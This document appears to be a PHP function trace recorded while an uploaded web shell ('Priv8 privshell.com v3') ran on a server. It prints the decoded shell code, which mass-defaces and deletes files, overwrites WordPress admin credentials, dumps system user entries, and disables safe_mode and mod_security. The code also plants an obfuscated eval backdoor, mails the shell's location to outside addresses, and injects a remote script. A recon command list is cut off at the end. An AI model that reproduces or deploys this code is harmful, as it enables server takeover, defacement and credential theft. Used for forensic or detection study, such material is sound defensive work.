}\r\n}\r\nfunction gass_all() {\r\n    global $index;\r\n    $dirrall = $_POST[\'d_dir\'];\r\n    foreach (ListFiles($dirrall) as $key => $file) {\r\n        $file = str_replace(\'//\', "/", $file);\r\n        echo "<center><strong>$file</strong> ===>";\r\n        edit_file($file, $index);\r\n        flush();\r\n    }\r\n    $key = $key + 1;\r\n    echo "<center><br><h3>$key Files Defaced </h3></center><br>";\r\n}\r\nfunction sabun_Massal($dir, $namafile, $isi_script) {\r\n    if (is_writable($dir)) {\r\n        $dira = scandir($dir);\r\n        foreach ($dira as $dirb) {\r\n            $dirc = "$dir/$dirb";\r\n            $lokasi = $dirc . \'/\' . $namafile;\r\n            if ($dirb === \'.\') {\r\n                file_put_contents($lokasi, $isi_script);\r\n            } elseif ($dirb === \'..\') {\r\n                file_put_contents($lokasi, $isi_script);\r\n            } else {\r\n                if (is_dir($dirc)) {\r\n                    if (is_writable($dirc)) {\r\n                        echo "<font color=red>[ DONE ] </font><font color=white> $lokasi</font><br>";\r\n                        file_put_contents($lokasi, $isi_script);\r\n                        $idx = sabun_Massal($dirc, $namafile, $isi_script);\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\nif ($_POST[\'Mass\'] == \'onedir\') {\r\n    echo "<br> Versi Text Area<br><textarea style=\'background:black;outline:none;color:red;\' name=\'index\' rows=\'10\' cols=\'67\'>\r\n";\r\n    $ini = "http://";\r\n    $mainpath = $_POST[d_dir];\r\n    $file = $_POST[d_file];\r\n    $dir = opendir("$mainpath");\r\n    $code = base64_encode($_POST[script]);\r\n    $indx = base64_decode($code);\r\n    while ($row = readdir($dir)) {\r\n        $start = @fopen("$row/$file", "w+");\r\n        $finish = @fwrite($start, $indx);\r\n        if ($finish) {\r\n            echo "$ini$row/$file\r\n";\r\n        }\r\n    }\r\n    echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\r\n";\r\n    $mainpath = $_POST[d_dir];\r\n    $file = $_POST[d_file];\r\n    $dir = opendir("$mainpath");\r\n    $code = base64_encode($_POST[script]);\r\n    $indx = base64_decode($code);\r\n    while ($row = readdir($dir)) {\r\n        $start = @fopen("$row/$file", "w+");\r\n        $finish = @fwrite($start, $indx);\r\n        if ($finish) {\r\n            echo \'<a href="http://\' . $row . \'/\' . $file . \'" target="_blank">http://\' . $row . \'/\' . $file . \'</a><br>\';\r\n        }\r\n    }\r\n} elseif ($_POST[\'Mass\'] == \'sabunkabeh\') {\r\n    gass();\r\n} elseif ($_POST[\'Mass\'] == \'hapusMassal\') {\r\n    hapus_Massal($_POST[\'d_dir\'], $_POST[\'d_file\']);\r\n} elseif ($_POST[\'Mass\'] == \'sabunmematikan\') {\r\n    gass_all();\r\n} elseif ($_POST[\'Mass\'] == \'Massdeface\') {\r\n    echo "<div style=\'margin: 5px auto; padding: 5px\'>";\r\n    sabun_Massal($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);\r\n    echo "</div>";\r\n} else {\r\n    echo "\t<style>\r\n\tinput[type=submit] {\r\n    padding:1px 7px;\r\n    background:#ffb101bd;\r\n\tcolor:#fff;\r\n    border:0 none;\r\n    cursor:pointer;\r\n    -webkit-border-radius: 5px;\r\n    border-radius: 5px;\r\n}\r\n</style><font face=\'Open Sans\' color=\'#ffb101\' size=\'3\' >Select Type:</font><br><select class=\\"select\\" name=\\"Mass\\"  style=\\"width: 300px;  height=\\"10\\" ><option value=\\"onedir\\">Mass Deface 1 Dir</option>\t<option value=\\"Massdeface\\">Mass Deface ALL Dir</option><option value=\\"sabunkabeh\\">Current Dir All Files</option>\t<option value=\\"sabunmematikan\\">Replace Everything With Deface</option><option value=\\"hapusMassal\\">Mass Delete Files</option></select><br><font face=\'Open Sans\' color=\'#ffb101\' size=\'3\' >Folder:</font><br><input name=\'d_dir\' value=\'" . getcwd() . "\' required=\'\' type=\'text\' style=\'width: 300px;  height=\'10\'><br><font face=\'Open Sans\' color=\'#ffb101\' size=\'3\' >Filename:</font><br><input type=\'text\' name=\'d_file\' value=\'index.html\' style=\'width: 300px;  height=\'10\'><br><font face=\'Open Sans\' color=\'#ffb101\'  size=\'3\' >index File:</font><br>\r\n\r\n\t<textarea name=\'script\' style=\'width: 650px; height: 200px;\'></textarea><br>\r\n\r\n\t<input type=\'submit\' name=\'start\' value=\'Mass Deface\'></form></div>";\r\n}\r\n    die;\r\n}\r\n\r\nif (isset($_REQUEST[\'user\'])) {\r\necho"\r\n<style>\r\n@import \'https://fonts.googleapis.com/css?family=Open+Sans\';\r\ninput[type=submit] {\r\n    padding:1px 7px;\r\n    background:#ffb101bd;\r\n\tcolor:#fff;\r\n    border:0 none;\r\n    cursor:pointer;\r\n    -webkit-border-radius: 5px;\r\n    border-radius: 5px;\r\n}\r\ninput[type=submit]:hover{\r\n\tbox-shadow: 0 0 2px #ffb101;\r\n}\r\nh1{\r\n\tcolor:#16a085;\r\n\ttext-shadow:0 0 5px;\r\n\tfont-family: Open Sans;\r\n}\r\n#gter{\r\n\tposition: absolute;\r\n\ttop: 0;\r\n\twidth: 100%;\r\n\ttext-align: center;\r\n\tbackground: black;\r\n\tcolor:#fff;\r\n\tpadding-top: 10px;\r\n\tpadding-bottom: 10px;\r\n\tfont-family: Open Sans;\r\n\tmargin-bottom:20px;\r\n}\r\n#gter span{\r\n\tcolor:white;\r\n\tfont-size: 18px;\r\n\ttext-shadow: :0px 0px 15px #00ffff;\r\n}\r\n.f{\r\n\tcolor:white;\r\n\tfont-family: Open Sans;\r\n\ttext-shadow: 0 0 15px #00ffff;\r\n\tfont-size: 21px;\r\n}\r\na{\r\n\tfont-family: Open Sans;\r\n\ttext-decoration: none;\r\n\tcolor:white;\r\n\ttext-shadow:0 0 15px #ffb101;\r\n}\r\nform{\r\n\tmargin-top: 10px;\r\n}\r\n\r\n\r\ninput[type=text]{\r\n\tfont-family:Open Sans;\r\n\twidth: 350px;\r\n\theight: 20px;\r\n\tpadding: 5px;\r\n\tfont-size:13px;\r\n}\r\n\r\n.heading{\r\n\tcolor:white;\r\n\tfont-size:25px;\r\n\tmargin-top: 20px;\r\n\tmargin-bottom: -110px;\r\n\tfont-family:Open Sans;\r\n\ttext-shadow:0px 0px 20px red;\r\n}\r\n</style>\r\n</head>\r\n<center>\r\n\r\n<form method=\'post\'>\r\n<input type=\'text\' name=\'config\' placeholder=\'http://www.site.com/sym404\'>\r\n<br><br>\r\n<input type=\'submit\' name=\'ch\' value=\'Change Admin\'>\r\n</form>\r\n</center>";\r\n\r\nset_time_limit(0);\r\nerror_reporting(0);\r\nif ($_POST[\'ch\']) {\r\n    $get2 = file_get_contents($_POST[\'config\']);\r\n    preg_match_all(\'#<a href="(.*?)"#\', $get2, $config);\r\n    foreach ($config[1] as $don) {\r\n        $get = file_get_contents($_POST[\'config\'] . "/" . $don);\r\n        preg_match_all("#\'DB_HOST\', \'(.*?)\'#", $get, $host);\r\n        foreach ($host[1] as $don) {\r\n            $host = $don;\r\n        }\r\n        preg_match_all("#\'DB_PASSWORD\', \'(.*?)\'#", $get, $pass);\r\n        foreach ($pass[1] as $done) {\r\n            $password = $done;\r\n        }\r\n        preg_match_all("#\'DB_USER\', \'(.*?)\'#", $get, $user);\r\n        foreach ($user[1] as $done1) {\r\n            $user = $done1;\r\n        }\r\n        preg_match_all("#\'DB_NAME\', \'(.*?)\'#", $get, $name);\r\n        foreach ($name[1] as $done2) {\r\n            $name = $done2;\r\n        }\r\n        preg_match_all("#$table_prefix  = \'(.*?)\'#", $get, $prefix);\r\n        foreach ($prefix[1] as $done3) {\r\n            $prefix = $done3;\r\n        }\r\n        $connect = mysqli_connect($host, $user, $password, $name);\r\n        if ($connect) {\r\n            $query1 = mysqli_query($connect, "select * from " . $prefix . "options where option_name=\'siteurl\'");\r\n            while ($siteurl = mysqli_fetch_array($query1)) {\r\n                $site_url = $siteurl[\'option_value\'];\r\n            }\r\n            $query2 = mysqli_query($connect, "update " . $prefix . "users set user_login=\'admin\',user_pass=\'a09ac1f98189b89fd578b4fca7bf8bb2\'");\r\n            if ($query2) {\r\n                echo "<center><span class=f>URL : <a href=\'$site_url/wp-login.php\' target=\'_blank\'>$site_url/wp-login.php</a><br><br>UserName : admin<br><br>Password : Priv8shell<br><br></span></center>";\r\n            }\r\n        }\r\n    }\r\n}\r\n echo"</body></html>";\r\n\r\n    die;\r\n}\r\n\r\nif (isset($_REQUEST[\'reseller\'])) {\r\n$name="ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNHN0ciUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=="; $str="==wkrzGf3Uo9nEg/syVmQa32vARsg2IE/GongruHmL3Clo45Onzs9H83i9V6ST+aYLo0cpZ8wyoXh/er2I/tAYQ4HRM2S/e1bSaQieZXn5Qybba6NfyF7DS/Ha1mb2uSv8vVVqHzipPzvNbmykqPoPgu2ZP4Xp6I/F9G7vFpvDuhfO0qkjy04UhhuMY6T1xPhECgPXd8X0igTVA7nIfQuhQnO8UjBD7g2jd373kjb7VZcedprTlFk8M8X2qBNCtBMXYB60MyoxTTgOL7pQzSst2K83anMG7mjuBNtjhwTE42a5gdCji7lb5ITVsO+tWQsuRo00L0X7TJ8AaohLYufDES5Y23JcLxbTsGACNSMrpkdzA3i1YaMCIGeRDoLAdv+ZQdGFnxFa1xaIFUlkAZWROw/cLv5zGBOQzDyyJ4dZtthgWHj9pTOHZ1pNVWLgo9eIQQTjMwq4qd032QwW8GDVvkWeO4278Gty5dblTbsRufuVSnbdJJeNEPmsPq1PPftAFtfsDN8G73sYLMQre3nCS3XQZ1uZCqrdB/GF3ou0iuS/qcQwCoMVoLsy+R3VkKXajn/OU8s7H3+8xt3d7jQ+3tvEOhCLUtbs0RXtGiRFSezm7G63/fhAcy+Koc3267LtMkH1Y70PZT+sv02XeiRFSFqZGgxQk5tWrrdYxugocyiGKprdI2/00FOJ3wXwdzmFUIhJtQTm8UzldowIyAJZrLXvwNtaWDDzKZaHmFk8hO+xyZWMLa/5yTHO7T1OKn2pFOOPrHSzwVa2N4IOWIhFHew5eNewVQsVu8vXJLGss5vbouel0ch6lA6fv5u8+7J8NCUZtzmcqOjjdqkZxyDdAWCvKLuNITXII+CxCnWNAkHnVmfUdCIezQD88pNZ5L7b011YmtLQZ/PNR0lCzWyNFNrWRUhSMzH2qAUW6UEYSaKqL7rtSdhIGyYDUVvJKArSnmgv+ZSwlafrQyltEIXb8FyNQjpGoXHIRWlQu2dz4nCRd2L3bpJpkZ3SHF6G+L8Z2afVA5+hoHQ2UhfUUviH4UKGaO7eROlqi5WQV7608/a+5s24HYJnY50KGi416DJ/sSwrZKdxA6zuzSjsyiIX/UUmGaewQ90DM3cOexhTi0bhTBHfigWmIr62OQCX1I/FuGyA60TU8owe2h8S29AvVDG32kaSaKi9YG8Q28IzembYcTbRA7afUGywTSzsYMTWZm9heyNYuZzjDcUvEYsEFQ7SRObIilJP0Ofj/GWWLJKUCCIiqlDKAb9YxmP02h2Cp9evcYh5+kSSi3IVQVB+Pgb3DE2MubBbV7ciH/oMw1BwJe83xAiHA/YMw5Bw/EDweA"; $text = "Sy1LzNHIKMnNKS5ITc5MzEnOSCwqjk9JTc5PSdUoLcqBspISi1PNTGDiKnmJuamaQGANAA=="; eval (gzinflate(base64_decode($text))); die;\r\n}\r\n\r\nif (isset($_REQUEST[\'passwd\'])) {\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n echo \'<center>\';\r\n        echo "<textarea class=\'inputz\' cols=\'90\' rows=\'20\'>";\r\n        for ($uid = 0;$uid < 60000;$uid++) {\r\n            $ara = posix_getpwuid($uid);\r\n            if (!empty($ara)) {\r\n                while (list($key, $val) = each($ara)) {\r\n                    print "$val:";\r\n                }\r\n                print "\r\n";\r\n            }\r\n        }\r\n        echo "</textarea><br><br>";\r\n\r\n    die;\r\n}\r\nif (isset($_REQUEST[\'disabled\'])) {\r\necho "<html>\r\n\r\n<head>\r\n<meta http-equiv=\'pragma\' content=\'no-cache\'>\r\n</head><body>";\r\n\r\n$fp = fopen("php.ini","w+");\r\nfwrite($fp,"safe_mode = Off\r\ndisable_functions  =    NONE\r\nopen_basedir = OFF ");\r\necho "<center><b><font color=\'white\' size=\'4\'>[SafeMode Done]</font></center>";\r\necho ("");\r\n\r\n$fp2 = fopen(".htaccess","w+");\r\nfwrite($fp2,"\r\n<IfModule mod_security.c>\r\nKillFilterEngine Off\r\nKillFilterScanPOST Off\r\nKillFilterCheckURLEncoding Off\r\nKillFilterCheckUnicodeEncoding Off\r\n</IfModule>\r\n");\r\n\r\n\r\necho "<center><b> <font color=\'white\' size=\'4\'>[Mod_Security Done]</font></center>";\r\n    die;\r\n}\r\nif (isset($_REQUEST[\'sym\'])) {\r\nerror_reporting(0);\r\n$sym_dir = mkdir(\'priv_sympy\', 0755);\r\nchdir(\'priv_sympy\');\r\n$file_sym = "sym.py";\r\n$sym_script = "Iy8qUHl0aG9uCgppbXBvcnQgdGltZQppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgcmUKCm9zLnN5c3RlbSgiY29sb3IgQyIpCgpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIgpmID0gIkFsbCBQcm9jZXNzZXMgRG9uZSFcblN5bWxpbmsgQnlwYXNzZWQgU3VjY2Vzc2Z1bGx5IVxuIgpwcmludCAiXG4iCgpvcy5tYWtlZGlycygnc3ltJykKb3MuY2hkaXIoJ3N5bScpCgpzdXNyPVtdCnNpdGV4PVtdCm9zLnN5c3RlbSgibG4gLXMgLyBwcml2OC50eHQiKQoKaCA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IHByaXY4LnBodG1sXG5BZGRUeXBlIHR4dCAucGhwXG5BZGRIYW5kbGVyIHR4dCAucGhwIgptID0gb3BlbigiLmh0YWNjZXNzIiwidysiKQptLndyaXRlKGgpCm0uY2xvc2UoKQpwcmludCBodGEKCnNmID0gIjxodG1sPjx0aXRsZT5TeW1saW5rIFB5dGhvbjwvdGl0bGU+PGNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTU+UHJpdjggU215bGluazxicj48L2ZvbnQ+PGJyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mz48dGFibGU+IgoKbyA9IG9wZW4oJy9ldGMvcGFzc3dkJywncicpCm89by5yZWFkKCkKbyA9IHJlLmZpbmRhbGwoJy9ob21lL1x3KycsbykKCmZvciB4dXNyIGluIG86Cgl4dXNyPXh1c3IucmVwbGFjZSgnL2hvbWUvJywnJykKCXN1c3IuYXBwZW5kKHh1c3IpCnByaW50ICItIiozMAp4c2l0ZSA9IG9zLmxpc3RkaXIoIi92YXIvbmFtZWQiKQoKZm9yIHh4c2l0ZSBpbiB4c2l0ZToKCXh4c2l0ZT14eHNpdGUucmVwbGFjZSgiLmRiIiwiIikKCXNpdGV4LmFwcGVuZCh4eHNpdGUpCnByaW50IGYKcGF0aD1vcy5nZXRjd2QoKQppZiAiL3B1YmxpY19odG1sLyIgaW4gcGF0aDoKCXBhdGg9Ii9wdWJsaWNfaHRtbC8iCmVsc2U6CglwYXRoID0gIi9odG1sLyIKY291bnRlcj0xCmlwcz1vcGVuKCJwcml2OC5waHRtbCIsInciKQppcHMud3JpdGUoc2YpCgpmb3IgZnVzciBpbiBzdXNyOgoJZm9yIGZzaXRlIGluIHNpdGV4OgoJCWZ1PWZ1c3JbMDo1XQoJCXM9ZnNpdGVbMDo1XQoJCWlmIGZ1PT1zOgoJCQlpcHMud3JpdGUoIjxib2R5IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6d2hpdGU7PiVzPC90ZD48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkO2NvbG9yOnJlZDs+JXM8L3RkPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7PjxhIGhyZWY9cHJpdjgudHh0L2hvbWUvJXMlcyB0YXJnZXQ9X2JsYW5rID4lczwvYT48L3RkPiIlKGNvdW50ZXIsZnVzcixmdXNyLHBhdGgsZnNpdGUpKQoJCQljb3VudGVyPWNvdW50ZXIrMQ==";\r\n$sym = fopen($file_sym, "w");\r\nfwrite($sym, base64_decode($sym_script));\r\nchmod($file_sym, 0755);\r\n$khoer = exec("python sym.py");\r\necho "<br><center><font color=\'white\'>Done ...</font> <a href=\'priv_sympy/sym/\' target=\'_blank\'><font color=\'#ffb101\'>Click Here</font> </a>";\r\n    die;\r\n}\r\n// xd\r\nif( empty($_POST[\'a\']) )\r\n\tif(isset($asciifnc3) && function_exists(\'action\' . $asciifnc3))\r\n\t\t$_POST[\'a\'] = $asciifnc3;\r\n\telse\r\n\t\t$_POST[\'a\'] = \'FilesMan\';\r\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\r\n\tcall_user_func(\'action\' . $_POST[\'a\']);\r\n?>\r\n<?php\r\n\r\n$ikrhtfy = $_SERVER["DOCUMENT_ROOT"].\'/\'.\'phpinfo.php\';\r\n\r\n\r\n$fghky_ouvcbt = \'<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "=kNpMtH71+ljPksZMcCcwcK+3fDlWgk7NrBwORQ/WY/zBOoBN4X5VZLsGffsu1D7GtfN+HA/jfc4llGsPjjJ9bYdzfpXuEKc5lgWShDAjYIIyjLEB6sJ7xwmW/t3sAjUdNhc365UYm35GrrxT/tH/rnbb1CtIqbEcyy3idRJJkv+7+nmXjdVY/WLfqnB02J4O1fe/7lAU0MajUGZSsHwKqhmHzv900i0h3YtoOCJcosuAHEtpAimJmdmoFCB2NZlgqVobRLXemwlekB8PSBazZLFbIHPfRsqapn5Z2WFCGLcWb5Ls9hJahXA7YV+RHfRiYvgTQpUFHyk8tcxG2ovhQOTquhQ66yaMV9H6FEhemC6vu7woIlYFCFlmOADdmcnyI39588cbGYIw42qSs//TI4HhYD0z0ItUW6T0Zs4GozL1SjnL3tNWA5gc9D9v0HFwI8adFVbcin/sGwUBwJe+HaAeFg/cGwYB4/lBgWA";\r\neval(htmlspecialchars_decode(urldecode(base64_decode($gz))));\r\n\r\n?>\'; \r\n\r\n\r\n\r\nif (!file_exists($ikrhtfy)){  \r\n   \r\ntouch($ikrhtfy); \r\nchmod($ikrhtfy,0666); \r\n   \r\n} \r\n\r\n$opazxcdnm = fopen($ikrhtfy,"w"); \r\n\r\nif (!fwrite($opazxcdnm,$fghky_ouvcbt)){ \r\n\r\nexit; \r\n\r\n}\r\n\r\n$b = "Soldier\'ss";\r\n$c = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\r\n";\r\n$c.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\r\n";\r\n$c.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\r\n";\r\n$c.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\r\n";\r\n$c.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\r\n";\r\nmail("hacklinksatis@gmail.com", $b, $c);\r\nmail("burdayimreis@gmail.com", $b, $c);\r\necho "<SCRIPT SRC=http://teledramasinhala.com/img/icons/image.js></SCRIPT>";\r\n?>\r\n\r\n'	/var/www/html/uploads/prv8new.php(4) : eval()'d code	1	0
4	16	0	0.019030	1237088	ini_set	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	2	2	'error_log'	NULL
4	16	1	0.019054	1237160
4	16	R			''
4	17	0	0.019069	1237088	ini_set	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	3	2	'log_errors'	0
4	17	1	0.019085	1237160
4	17	R			'1'
4	18	0	0.019099	1237088	ini_set	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	4	2	'display_errors'	0
4	18	1	0.019115	1237160
4	18	R			''
4	19	0	0.019128	1237088	ini_set	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	5	2	'max_execution_time'	0
4	19	1	0.019146	1237192
4	19	R			'30'
4	20	0	0.019159	1237088	ini_set	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	6	2	'output_buffering'	0
4	20	1	0.019175	1237160
4	20	R			FALSE
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	7	$asciifnc1 = TRUE
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	8	$asciifnc2 = 'utf-8'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	9	$asciifnc3 = 'FilesMan'
4	21	0	0.019227	1237088	md5	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	10	1	'python-requests/2.25.1'
4	21	1	0.019243	1237184
4	21	R			'ecd862b3d0595af0a0b03f511e800938'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	10	$asciifnc4 = 'ecd862b3d0595af0a0b03f511e800938'
4	22	0	0.019272	1237152	md5	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	11	1	'localhost'
4	22	1	0.019286	1237248
4	22	R			'421aa90e079fa326b6494f812ad13e79'
4	23	0	0.019303	1237152	md5	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	12	1	'localhost'
4	23	1	0.019317	1237248
4	23	R			'421aa90e079fa326b6494f812ad13e79'
4	24	0	0.019331	1237216	prototype	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	12	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	376	_COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
5	25	0	0.019365	1237592	setcookie	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	377	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
5	25	1	0.019387	1237792
5	25	R			TRUE
4	24	1	0.019400	1237728
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	16	_POST['charset'] = 'utf-8'
4	26	0	0.019424	1238104	ini_set	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	25	2	'error_log'	NULL
4	26	1	0.019443	1238176
4	26	R			''
4	27	0	0.019457	1238104	ini_set	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	26	2	'log_errors'	0
4	27	1	0.019471	1238176
4	27	R			'0'
4	28	0	0.019484	1238104	ini_set	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	27	2	'max_execution_time'	0
4	28	1	0.019499	1238176
4	28	R			'0'
4	29	0	0.019512	1238104	set_time_limit	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	28	1	0
4	29	1	0.019527	1238168
4	29	R			FALSE
4	30	0	0.019541	1238136	version_compare	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	29	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.3.0'	'<'
4	30	1	0.019559	1238232
4	30	R			FALSE
4	31	0	0.019572	1238136	define	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	32	2	'VERSION'	'Priv8 privshell.com v3'
4	31	1	0.019589	1238240
4	31	R			TRUE
4	32	0	0.019602	1238168	get_magic_quotes_gpc	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	33	0
4	32	1	0.019615	1238168
4	32	R			FALSE
4	33	0	0.019629	1238168	md5	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	47	1	'localhost'
4	33	1	0.019643	1238264
4	33	R			'421aa90e079fa326b6494f812ad13e79'
4	34	0	0.019658	1238168	md5	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	48	1	'localhost'
4	34	1	0.019672	1238264
4	34	R			'421aa90e079fa326b6494f812ad13e79'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	48	_COOKIE['421aa90e079fa326b6494f812ad13e79ajax'] = TRUE
4	35	0	0.019702	1238232	substr	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	63	3	'Linux'	0	3
4	35	1	0.019718	1238360
4	35	R			'Lin'
4	36	0	0.019731	1238264	strtolower	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	63	1	'Lin'
4	36	1	0.019745	1238328
4	36	R			'lin'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	66	$os = 'nix'
4	37	0	0.019770	1238232	ini_get	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	67	1	'safe_mode'
4	37	1	0.019785	1238264
4	37	R			FALSE
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	67	$safe_mode = FALSE
4	38	0	0.019810	1238232	error_reporting	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	69	1	0
4	38	1	0.019824	1238272
4	38	R			22527
4	39	0	0.019836	1238232	ini_get	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	70	1	'disable_functions'
4	39	1	0.019851	1238712
4	39	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	70	$disable_functions = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4	40	0	0.019897	1238680	getcwd	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	71	0
4	40	1	0.019913	1238728
4	40	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	71	$home_cwd = '/var/www/html/uploads'
4	41	0	0.019941	1238728	getcwd	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	74	0
4	41	1	0.019955	1238776
4	41	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	74	$cwd = '/var/www/html/uploads'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	80	$cwd .= '/'
4	42	0	0.019994	1238776	function_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	281	1	'posix_getpwuid'
4	42	1	0.020009	1238816
4	42	R			TRUE
4	43	0	0.020022	1238776	function_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	282	1	'posix_getgrgid'
4	43	1	0.020036	1238816
4	43	R			TRUE
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	629	$aliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find all suid files' => 'find / -type f -perm -04000 -ls', 'find suid files in current dir' => 'find . -type f -perm -04000 -ls', 'find all sgid files' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php files' => 'find / -type f -name config.inc.php', 'find config* files' => 'find / -type f -name "config*"', 'find config* files in current dir' => 'find . -type f -name "config*"', 'find all writable folders and files' => 'find / -perm -2 -ls', 'find all writable folders and files in 